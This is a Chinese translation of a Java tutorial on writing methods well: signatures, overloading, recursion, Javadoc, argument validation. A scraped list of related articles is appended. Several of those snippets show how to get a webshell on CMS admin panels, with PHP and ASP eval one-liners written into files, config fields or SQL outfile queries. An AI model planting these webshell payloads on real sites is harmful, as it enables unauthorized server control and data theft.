如何有效地编写方法

本文是我们名为“ 高级Java ”的学院课程的一部分。

本课程旨在帮助您最有效地使用Java。 它讨论了高级主题,包括对象创建,并发,序列化,反射等。 它将指导您完成Java掌握的过程! 在这里查看 !

目录

1.简介 2.方法签名 3.方法主体 4.方法重载 5.方法覆盖 6.内联 7.递归 8.方法参考 9.不变性 10.方法文档 11.方法参数和返回值 12.方法作为API入口点 13.接下来是什么 14.下载源代码

1.简介

在本教程的这一部分中,我们将花费一些时间来讨论与Java设计和实现方法有关的不同方面。 正如我们在本教程的前面部分所看到的那样,用Java编写方法非常容易,但是有很多事情可以使您的方法更具可读性和效率。

2.方法签名

众所周知,Java是一种面向对象的语言。 这样,Java中的每个方法都属于某个类实例(如果使用static方法,则属于一个类本身),具有可见性(或可访问性)规则,可以声明为abstractfinal等。 但是,可以说方法的最重要部分是它的签名:返回类型和参数,以及方法实现可能抛出的已检查异常的列表(但是如今,这一部分的使用越来越少了)。 下面是一个小例子:

public static void main( String[] args ) {// Some implementation here
}

main方法将字符串数组作为唯一参数args接受,并且不返回任何内容。 使所有方法保持与main一样简单将是非常好的。 但实际上,方法签名可能变得不可读。 让我们看下面的例子:

public void setTitleVisible( int lenght, String title, boolean visible ) {// Some implementation here
}

首先要注意的是,按照惯例,Java中的方法名称以驼峰形式编写,例如: setTitleVisible 。 该名称选择得当,并试图描述该方法应该执行的操作。

其次,每个参数的名称说明(或至少暗示)其目的。 为方法参数找到正确的解释性名称非常重要,而不是int iString sboolean f (但是在极少数情况下还是有意义的)。

第三,该方法仅接受三个参数。 尽管Java对允许的参数数量有更高的限制,但强烈建议将此数字保持在6以下。除此之外,方法签名变得很难理解。

从Java 5发行版开始,这些方法可以使用特殊语法具有相同类型的参数变量列表(称为varargs),例如:

public void find( String ... elements ) {// Some implementation here
}

在内部,Java编译器将varargs转换为相应类型的数组,这就是方法实现可以访问varargs的方式。

有趣的是,Java还允许使用泛型类型参数声明varargs参数。 但是,由于参数的类型未知,因此Java编译器希望确保负责任地使用varargs ,并建议该方法是final并使用@SafeVarargs批注进行批注(有关批注的更多详细信息,请参见第5部分)。教程, 以及如何以及何时使用Enums和Annotations )。 例如:

@SafeVarargs
final public< T > void find( T ... elements ) {// Some implementation here
}

另一种方法是使用@SuppressWarnings批注,例如:

@SuppressWarnings( "unchecked" )
public< T > void findSuppressed( T ... elements ) {// Some implementation here
}

下一个示例演示将检查的异常用作方法签名的一部分。 近年来,事实证明,已检查的异常不如预期的那样有用,导致编写更多的样板代码而不是解决的问题。

public void write( File file ) throws IOException {// Some implementation here
}

最后但并非最不重要的一点是,通常建议(但很少使用)将方法参数标记为final 。 当用不同的值重新分配方法参数时,它有助于摆脱不良的代码实践。 同样,匿名类可以使用这种方法参数(有关匿名类的更多详细信息,在本教程的第3部分“ 如何设计类和接口”中进行了介绍 ),尽管Java 8通过有效地引入final变量来缓解了这一限制。

3.方法主体

每种方法都有其自己的实现和目的。 但是,有一些通用指南确实可以帮助编写清晰易懂的方法。

可能最重要的一个是单一责任原则:尝试以这种方式实现方法,即每个单一方法都只会做一件事情并且做得很好。 遵循此原理可能会炸毁许多类方法,因此找到合适的平衡很重要。

编码和设计时的另一重要事项是保持方法实现的简短(通常只需遵循单一职责原则,您就可以免费获得它)。 简短的方法很容易推论,而且它们通常适合一个屏幕,因此您的代码读者可以更快地理解它们。

最后(但并非最不重要)的建议与使用return语句有关。 如果某个方法返回某个值,请尝试最大程度地减少调用return语句的位置(有些人走得更远,建议在所有情况下仅使用单个return语句)。 更多的return语句方法变得很难遵循其逻辑流程并修改(或重构)实现。

4.方法重载

方法重载技术通常用于为不同的参数类型或组合提供方法的专用版本。 尽管方法名称保持不变,但是编译器会根据调用点的实际参数值选择正确的替代方法(重载的最佳示例是Java中的构造函数:名称始终相同,但参数集不同)或如果找不到,将引发编译器错误。 例如:

public String numberToString( Long number ) {return Long.toString( number );
}public String numberToString( BigDecimal number ) {return number.toString();
}

方法重载在某种程度上接近于泛型(关于泛型的更多详细信息在本教程的第4部分“ 如何以及何时使用泛型”中进行了介绍 ),但是它在泛型方法不能很好地工作并且每种(或大多数)泛型使用的情况下使用类型参数需要它们自己的专用实现。 尽管如此,将泛型和重载结合起来可能非常强大,但是由于类型擦除(在Java中通常是不可能的)(有关更多详细信息,请参阅教程的第4部分如何及何时使用泛型 )。 让我们看一下这个例子:

public< T extends Number > String numberToString( T number ) {return number.toString();
}public String numberToString( BigDecimal number ) {return number.toPlainString();
}

尽管可以在不使用泛型的情况下编写此代码段,但对于我们的演示目的而言,它不是重要的。 有趣的是,方法numberToString重载了BigDecimal的专门实现,并为所有其他数字提供了通用版本。

5.方法覆盖

在本教程的第3部分“ 如何设计类和接口”中 ,我们讨论了很多方法重写。 在本节中,当我们已经知道方法重载时,我们将展示为什么使用@Override批注如此重要。 我们的示例将演示简单类层次结构中方法重写和重载之间的细微差别。

public class Parent {public Object toObject( Number number ) {return number.toString();}
}

Parent类只有一个toObject方法。 让我们对该类进行子类化,并尝试提出方法版本以将数字转换为字符串(而不是原始对象)。

public class Child extends Parent {@Overridepublic String toObject( Number number ) {return number.toString();}
}

尽管如此, Child类中toObject方法的签名还是有些不同(请参见Covariant方法返回类型以获取更多详细信息),它确实覆盖了超类中的那个,并且Java编译器对此没有任何抱怨。 现在,让我们向Child类添加另一个方法。

public class Child extends Parent {public String toObject( Double number ) {return number.toString();}
}

同样,方法签名之间只有细微的差别(用Double代替Number ),但是在这种情况下,它是方法的重载版本,它不会覆盖父方法。 这就是Java编译器和@Override注释的帮助得到回报的时候:用@Override注释上一个示例中的方法会引发编译器错误。

6.内联

内联是Java JIT(即时)编译器执行的优化,目的是消除特定的方法调用并将其直接替换为方法实现。 JIT编译器使用的启发式方法取决于方法的调用频率和大小。 太大的方法不能有效地内联。 内联可以大大提高代码的性能,这是使方法保持简短的另一个好处,如我们在“ 方法正文 ”一节中所讨论的。

7.递归

Java中的递归是一种方法,该方法在执行计算时会调用自身。 例如,让我们看下面的示例,该示例求和一个数组的数字:

public int sum( int[] numbers ) {if( numbers.length == 0 ) {return 0;} if( numbers.length == 1 ) {return numbers[ 0 ];} else {return numbers[ 0 ] + sum( Arrays.copyOfRange( numbers, 1, numbers.length ) );}
}

这是一个非常无效的实现,但是它很好地证明了递归。 递归方法存在一个众所周知的问题:根据调用链的深度,它们可能会炸毁堆栈并导致StackOverflowError异常。 但是事情并没有听起来那么糟糕,因为有一种技术可以消除栈溢出,称为尾部调用优化 。 如果方法是尾部递归的,则可以应用此方法(尾部递归方法是所有递归调用都是尾部调用的方法)。 例如,让我们以尾递归的方式重写以前的算法:

public int sum( int initial, int[] numbers ) {if( numbers.length == 0 ) {return initial;} if( numbers.length == 1 ) {return initial + numbers[ 0 ];} else {return sum( initial + numbers[ 0 ],Arrays.copyOfRange( numbers, 1, numbers.length ) );}
}

不幸的是,目前Java编译器(以及JVM JIT编译器)不支持尾部调用优化,但是当您用Java编写递归算法时,它仍然是了解和考虑的一种非常有用的技术。

8.方法参考

通过将功能性概念引入Java语言,Java 8向前迈出了一大步。 其基础是将方法视为数据,这是该语言以前所不支持的概念(但是,由于Java 7,JVM和Java标准库已经具有使之成为可能的某些功能)。 幸运的是,有了方法引用,现在就可以了。

参考类型
引用静态方法 SomeClass::staticMethodName
引用特定对象的实例方法 someInstance::instanceMethodName
引用特定类型的任意对象的实例方法 SomeType::methodName
引用构造函数 SomeClass::new

表格1

让我们看一个简单的示例,该示例说明如何将方法作为参数传递给其他方法。

public class MethodReference {public static void println( String s ) {System.out.println( s );}public static void main( String[] args ) {final Collection< String > strings = Arrays.asList( "s1", "s2", "s3" );strings.stream().forEach( MethodReference::println );}
}

main方法的最后一行使用对println方法的引用将字符串集合中的每个元素打印到控制台,并将其作为参数传递给另一个方法forEach

9.不变性

如今,不变性已引起了很多关注,Java也不例外。 众所周知,不变性在Java中很难实现,但这并不意味着应将其忽略。

在Java中,不变性就是改变内部状态。 作为示例,让我们看一下JavaBeans规范( http://docs.oracle.com/javase/tutorial/javabeans/ )。 它非常清楚地表明,setter可以修改包含对象的状态,而这正是每个Java开发人员所期望的。

但是,替代方法不是修改状态,而是每次都返回一个新状态。 它并不像听起来那样可怕,新的Java 8 Date / Time API (在JSR 310:Date and Time API框架下开发)就是一个很好的例子。 让我们看一下以下代码片段:

final LocalDateTime now = LocalDateTime.now();
final LocalDateTime tomorrow = now.plusHours( 24 );final LocalDateTime midnight = now.withHour( 0 ).withMinute( 0 ).withSecond( 0 ).withNano( 0 );

每次需要修改其状态的LocalDateTime实例调用都将返回新的LocalDateTime实例,并使原始实例保持不变。 与旧的CalendarDate相比,API设计范例发生了很大的变化(使用起来不太舒服,并且引起很多麻烦)。

10.方法文档

在Java中,特别是如果您正在开发某种库或框架,则应使用Javadoc工具记录所有公共方法( http://www.oracle.com/technetwork/articles/java/index-jsp-135444.html ) 。 严格来说,没有什么可以强迫您执行此操作,但是好的文档可以帮助其他开发人员了解特定方法的作用,所需的参数,其实现所具有的假设或约束,异常的类型以及何时可以引发以及返回值(如果有)可能是(加上更多东西)。

让我们看下面的例子:

/*** The method parses the string argument as a signed decimal integer.* The characters in the string must all be decimal digits, except* that the first character may be a minus sign {@code '-'} or plus* sign {@code '+'}.** <p>An exception of type {@code NumberFormatException} is thrown if* string is {@code null} or has length of zero.** <p>Examples:* <blockquote><pre>* parse( "0" ) returns 0* parse( "+42") returns 42* parse( "-2" ) returns -2* parse( "string" ) throws a NumberFormatException* </pre></blockquote>** @param str a {@code String} containing the {@code int} representation to be parsed* @return the integer value represented by the string* @exception NumberFormatException if the string does not contain a valid integer value*/
public int parse( String str ) throws NumberFormatException {return Integer.parseInt( str );
}

对于parse这样的简单方法,它是一个非常冗长的文档,但是它展示了Javadoc工具提供的一些有用功能,包括对其他类的引用,示例代码片段和高级格式化。 这是流行的Java IDE之一Eclipse反映此方法文档的方式。

6,Javadoc.Eclipse

仅通过查看上面的图片,任何初级到高级的Java开发人员都可以了解该方法的目的以及使用该方法的正确方法。

11.方法参数和返回值

文档化方法是一件很了不起的事情,但是不幸的是,当使用不正确或意外的参数值调用方法时,它不能阻止用例。 因此,根据经验,所有公共方法都应验证其自变量,并且永远不应相信将始终使用正确的值来指定它们(这种模式称为健全性检查)。

回到上一节的示例,方法parse应该在对其执行任何操作之前执行其唯一参数的验证:

public int parse( String str ) throws NumberFormatException {if( str == null ) {throw new IllegalArgumentException( "String should not be null" );}return Integer.parseInt( str );
}

Java还有另一个选择可以使用assert语句执行验证和健全性检查。 但是,可以在运行时将其关闭,并且可能无法执行。 最好始终执行此类检查并提出相关异常。

即使已经记录了方法并验证了它们的参数,仍然有一些与它们可以返回的值有关的注释。 在Java 8之前,说“我目前没有值”的方法的最简单方法就是返回null 。 这就是Java对于NullPointerException异常如此臭名昭著的原因。 Java 8试图通过引入Optional < T >类来解决此问题。 让我们看一下这个例子:

public< T > Optional< T > find( String id ) {// Some implementation here
}

Optional < T >提供了许多有用的方法,并且完全消除了该方法返回null并在各处使用null检查污染代码的需要。 唯一的例外可能是集合。 每当方法返回集合时,总是最好返回空的而不是null (甚至是Optional < T > ),例如:

public&lt; T &gt; Collection&lt; T &gt; find( String id ) {
return Collections.emptyList();
}

12.方法作为API入口点

即使您只是在组织内构建应用程序的开发人员,还是对流行的Java框架或库之一的贡献者,您正在执行的设计决策在如何使用代码方面都起着非常重要的作用。

尽管API设计指南值得多本书籍,但本教程的这一部分涉及其中的许多内容(因为方法成为API的切入点),因此快速总结将非常有帮助:

  • 为方法及其参数使用有意义的名称( 方法签名 )
  • 尝试使参数的数量小于6(“ 方法签名”部分)
  • 保持方法简短易读(“ 方法主体”和“ 内联”一节)
  • 始终记录您的公共方法,包括前提条件和示例(如果有必要的话)(“ 方法文档”部分)
  • 始终执行参数验证和完整性检查(“ 方法参数和返回值”部分 )
  • 尝试转义null作为方法的返回值(“ 方法参数和返回值”部分 )
  • 每当它是有道理的,尝试设计不变的方法(这不影响内部状态,部分不变性 )
  • 使用可见性和可访问性规则隐藏不应该公开的方法(本教程的第3部分如何设计类和接口

13.接下来是什么

本教程的这一部分讨论的不是Java语言,而是更多关于如何有效地使用Java语言,特别是通过编写可读,干净,有文档的有效方法。 在下一节中,我们将继续相同的基本思想,并讨论通用的编程准则,以帮助您成为更好的Java开发人员。

14.下载源代码

这是关于如何有效地编写方法的课程。 您可以在此处下载源代码: advanced-java-part-6

翻译自: https://www.javacodegeeks.com/2015/09/how-to-write-methods-efficiently.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358274.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PHPcms框架的Webshell

登录界面 后台网址 www.phpcms.com/admin.php 进入主页面 代码注入拿webshell 接下来 我直接就上图了 写入一句话木马 <?php file_put_contents(ooo.php,base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FhXSk7Pz4)); ?>查看专题 继续添加第二个专题 利用burpsuit拦截…

Ecshop框架的Webshell

一、登录情况 后台地址&#xff1a;127.0.0.1/ecshop/admin 因为后台没有放东西 嘛 所以就啥也没有 二、后台拿webshell三种思路演示 1&#xff1a;执行数据库命令拿webshell 首先需要找到可写入命令的页面&#xff1a; select <;?php eval($_POST[1])?>; into ou…

什么是大前端,前端工程师要不要成为全栈工程师?

不想成为全栈的前端不是好程序员。 数年以前,全栈工程师的理念忽然风靡墙内外,成为开发者们津津乐道的话题。数年过去,关于全栈工程师的争议不多了,教你速成全栈工程师的视频课程多了起来,说明大家对于这个理念慢慢接受了。但我发现,鼓吹前端往全栈转型做的有点走…

muy bien_配置Java EE应用程序或“将Bien付诸实践”

muy bien过去&#xff0c;有关应用程序配置的讨论很多。 我不知道谁拉开了辩论的序幕&#xff0c;但是最基础的阅读&#xff08;着眼于未来的Java EE 7及更高版本&#xff09;是Antonio Goncalves的帖子[辩论] – Java EE 7中的配置又如何呢 &#xff1f; 事实是&#xff0c;使…

浅谈大前端的代表技术及其影响,值得我们思考

到底哪些是大前端的代表技术&#xff1f;从业务上来说&#xff0c;我认为终端 开发、网关设计、接口设计、桌面端的 工程化都可以算是大前端的业务范畴。 具体的技术&#xff0c;则是基于 HTML5、NodeJS 的通用技术&#xff0c;以及各平台的专有技术。 从现阶段来说&#xff0c…

Aspcms框架的webshell

文章目录 渗透测试-地基篇-Webshell-Aspcms框架&#xff08;十&#xff09;一、登录演示二、数据库备份拿webshell 一、登录演示 本次演示一种方法思路拿aspcms框架的webshell&#xff0c;该页面是用的是最新版本的aspcms框架自行搭建演示的。 1&#xff09;登录地址&#x…

xyCMS框架的webshell

"%><%eval request("d")%><%s"在网站配置页面插入一句话。&#xff08;注意一定要把前后内容闭合&#xff0c;不然整个网站都要崩溃&#xff09; 插入结果。 shell工具连接 </article>

Xcode版本更新后插件失效解决办法

打开终端&#xff0c;输入以下代码&#xff1a; defaults read /Applications/Xcode.app/Contents/Info DVTPlugInCompatibilityUUID 获取到DVTPlugInCompatibilityUUID&#xff0c;然后 find ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins -name Info.pli…

Flutter快速构建集美观与⾼性能于⼀体的APP

先上干货 github:https://github.com/flutter/flutter 官网&#xff1a;http://flutter.io/ 中文资源&#xff1a;https://flutter-io.cn/ 当然我也用其他敏捷式平台开发过APP&#xff0c;比如APICloud、uiapp,相比Flutter难度会小一些。 用户的需求 移动软件开发的困难 这…

如何使用UI技术提升租房类APP的看房体验?

这个看你处理的数据够不够复杂啦。 越个性化,越流程的APP越需要处理复杂的数据。 使用SVG制作户型结构编辑器。

jboss 发布web_JBoss模块示例–模块化Web应用程序

jboss 发布web最近&#xff0c;我读到了为什么没有标准来开发真正的模块化Web应用程序&#xff1f; 由Patroklos Papapetrou撰写&#xff08; 在Java Code Geeks中也有介绍 &#xff09;。 受本文的启发&#xff0c;我决定检查实际使用的JBoss模块 。 这篇文章逐步描述了我的实…

南方数据后台的WEBSHEL

南方数据企业系统&#xff0c;后台上传截断拿webshell 在“新闻资讯”-“添加新闻”模块中&#xff0c;在“新闻图片”中点击“上传”按钮&#xff0c;会出现一个弹窗&#xff0c;复制弹窗的地址&#xff0c;在新标签页中打开 本地准备个asp类型的一句话木马&#xff1a;<%…

【APICloud系列|20】如何使用使用APICloud开发出优质的Hybrid App

谈到这里,我先抛出几个问题,虽然他们社区比较活跃,我曾经也在上面开发过一款办公类应用并成功上架到各大安卓应用商店与APPstore,有兴趣的可以看看我以前的帖子。新手可以学习一下他们七天的教学,可以很快的入门,至于他们官方的一些视频可能比较陈旧,凑合着看吧,影响不是…

测试并发应用

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。 在本课程中&#xff0c;您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识&#xff0c;并学习诸如原子性&#xff0c;同步和线程安全之类的概念。 在这里查看 &#xff01; 目录 1.简介 2. Sim…

无忧企业系统的getshell

方法一&#xff1a;数据库备份 写入后进行数据库备份 路径 shell工具连接 方法二&#xff1a;修改允许上传后缀&#xff0c;直接上传马

如何使用FinalShell、FileZilla上传网站代码到服务器?这两个都是神器

这段时间想做一个导航网站来着,然后就简单写了一个网页,买了一个域名、一台ECS服务器,都是比较便宜的那种,https://www.aliyun.com/minisite/goods?userCode=1k1odmgm 这个学生或者新用户基本都是一折,还能玩得起。所有软件的安装除了选择安装路径,都可以无脑按安装。 …

神经网络:深度学习优化方法

1.有哪些方法能提升CNN模型的泛化能力 采集更多数据&#xff1a;数据决定算法的上限。 优化数据分布&#xff1a;数据类别均衡。 选用合适的目标函数。 设计合适的网络结构。 数据增强。 权值正则化。 使用合适的优化器等。 2.BN层面试高频问题大汇总 BN层解决了什么问…

PDF.js如何添加放大缩小的功能,转换成图片应该如何实现?

把官方的安装包搞下来,自己的PDF文件及index.html添加进去,上面的目录结构是未添加的,我先把PDF文件搞成canvas然后搞成图片,然后再图片上添加按钮对图片进行放大缩小操作,方便对用户行为进行录屏。 <!DOCTYPE HTML> <html data-dpr="1" style="…